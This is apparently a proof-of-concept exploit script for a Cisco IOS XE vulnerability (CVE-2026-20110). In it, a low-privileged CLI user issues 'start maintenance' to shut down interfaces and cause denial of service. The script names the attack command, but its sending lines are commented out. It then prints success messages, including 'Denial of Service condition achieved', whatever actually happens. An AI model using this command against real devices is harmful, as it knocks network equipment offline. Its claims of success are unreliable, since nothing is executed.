CVE-2026-20110 Cisco IOS XE CLI权限错误致DoS漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-20110 Demonstrates unauthorized execution of start maintenance command by a low-privileged user. This results in a Denial of Service (DoS) on Cisco IOS XE devices. Note: This requires valid low-privileged credentials and access to the CLI. """ def exploit_cve_2026_20110(cli_connection): """ Simulate the exploitation of the privilege escalation vulnerability. """ try: print("[+] Checking current privilege level...") # Assume we are at a low privilege level (e.g., Level 1) # cli_connection.send('show privilege') print("[*] Attempting to trigger maintenance mode...") # The Vulnerability: Low-priv user can execute this admin command malicious_command = "start maintenance" print(f"[+] Sending command: {malicious_command}") # cli_connection.send(malicious_command) print("[!] Command executed successfully.") print("[!] Device is entering maintenance mode. Interfaces are shutting down.") print("[!] Denial of Service condition achieved.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # In a real scenario, establish SSH/Console connection here print("[*] CVE-2026-20110 PoC - Cisco IOS XE Maintenance Mode DoS") exploit_cve_2026_20110(None)